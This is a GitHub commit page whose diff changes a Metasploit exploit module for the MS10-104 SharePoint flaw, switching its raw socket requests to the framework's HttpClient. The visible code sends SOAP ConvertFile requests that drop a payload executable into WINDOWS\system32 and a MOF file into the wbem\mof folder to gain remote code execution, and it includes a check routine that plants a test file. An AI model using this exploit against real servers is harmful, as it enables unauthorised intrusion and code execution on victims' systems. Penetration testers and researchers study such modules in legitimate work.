Skip to content

Commit ef0f415

Browse files
author
jvazquez-r7
committed
related to rapid7#980 adds support for HttpClient
1 parent 91e6b7c commit ef0f415

File tree

1 file changed

+15
-22
lines changed

1 file changed

+15
-22
lines changed

modules/exploits/windows/misc/ms10_104_sharepoint.rb

Lines changed: 15 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010
class Metasploit3 < Msf::Exploit::Remote
1111
Rank = ExcellentRanking
1212

13-
include Msf::Exploit::Remote::Tcp
13+
include Msf::Exploit::Remote::HttpClient
1414
include Msf::Exploit::EXE
1515
include Msf::Exploit::WbemExec
1616

@@ -89,24 +89,17 @@ def upload_file(file_name, contents)
8989
soap_convert_file << "</SOAP-ENV:Body>" << "\x0d\x0a"
9090
soap_convert_file << "</SOAP-ENV:Envelope>" << "\x0d\x0a"
9191

92-
http_request = "POST /HtmlTrLauncher HTTP/1.1" << "\x0d\x0a"
93-
http_request << "User-Agent: Mozilla/4.0+(compatible; MSIE 6.0; Windows 5.2.3790.131072; MS .NET Remoting; MS .NET CLR 2.0.50727.42 )" << "\x0d\x0a"
94-
http_request << "Content-Type: text/xml; charset=\"utf-8\"" << "\x0d\x0a"
95-
http_request << "SOAPAction: \"http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConversionsLauncher/Microsoft.HtmlTrans.Interface#ConvertFile\"" << "\x0d\x0a"
96-
http_request << "Host: #{rhost}:#{rport}" << "\x0d\x0a"
97-
http_request << "Content-Length: #{soap_convert_file.length}" << "\x0d\x0a"
98-
http_request << "Connection: Keep-Alive" << "\x0d\x0a\x0d\x0a"
99-
100-
connect
101-
sock.put(http_request << soap_convert_file)
102-
data = ""
103-
read_data = sock.get_once(-1, 1)
104-
while not read_data.nil?
105-
data << read_data
106-
read_data = sock.get_once(-1, 1)
107-
end
108-
disconnect
109-
return data
92+
res = send_request_cgi({
93+
'uri' => '/HtmlTrLauncher',
94+
'method' => 'POST',
95+
'ctype' => 'text/xml; charset="utf-8"',
96+
'headers' =>
97+
{
98+
'SOAPAction' => '"http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConversionsLauncher/Microsoft.HtmlTrans.Interface#ConvertFile"',
99+
},
100+
'data' => soap_convert_file
101+
})
102+
return res
110103
end
111104

112105
# The check tries to create a test file in the root
@@ -119,7 +112,7 @@ def check
119112
print_status("#{peer} - Sending HTTP ConvertFile Request to upload the test file #{filename}")
120113
res = upload_file(filename, contents)
121114

122-
if res and res =~ /200 OK/ and res =~ /ConvertFileResponse/ and res =~ /<m_ce>CE_OTHER<\/m_ce>/
115+
if res and res.code == 200 and res.body =~ /ConvertFileResponse/ and res.body =~ /<m_ce>CE_OTHER<\/m_ce>/
123116
return Exploit::CheckCode::Vulnerable
124117
else
125118
return Exploit::CheckCode::Safe
@@ -138,7 +131,7 @@ def exploit
138131

139132
print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}")
140133
res = upload_file("WINDOWS\\system32\\#{exe_name}", exe)
141-
if res and res =~ /200 OK/ and res =~ /ConvertFileResponse/ and res =~ /<m_ce>CE_OTHER<\/m_ce>/
134+
if res and res.code == 200 and res.body =~ /ConvertFileResponse/ and res.body =~ /<m_ce>CE_OTHER<\/m_ce>/
142135
print_good("#{peer} - #{exe_name} uploaded successfully")
143136
else
144137
print_error("#{peer} - Failed to upload #{exe_name}")
@@ -147,7 +140,7 @@ def exploit
147140

148141
print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}")
149142
res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
150-
if res and res =~ /200 OK/ and res =~ /ConvertFileResponse/ and res =~ /<m_ce>CE_OTHER<\/m_ce>/
143+
if res and res.code == 200 and res.body =~ /ConvertFileResponse/ and res.body =~ /<m_ce>CE_OTHER<\/m_ce>/
151144
print_good("#{peer} - #{mof_name} uploaded successfully")
152145
else
153146
print_error("#{peer} - Failed to upload #{mof_name}")

0 commit comments

Comments
 (0)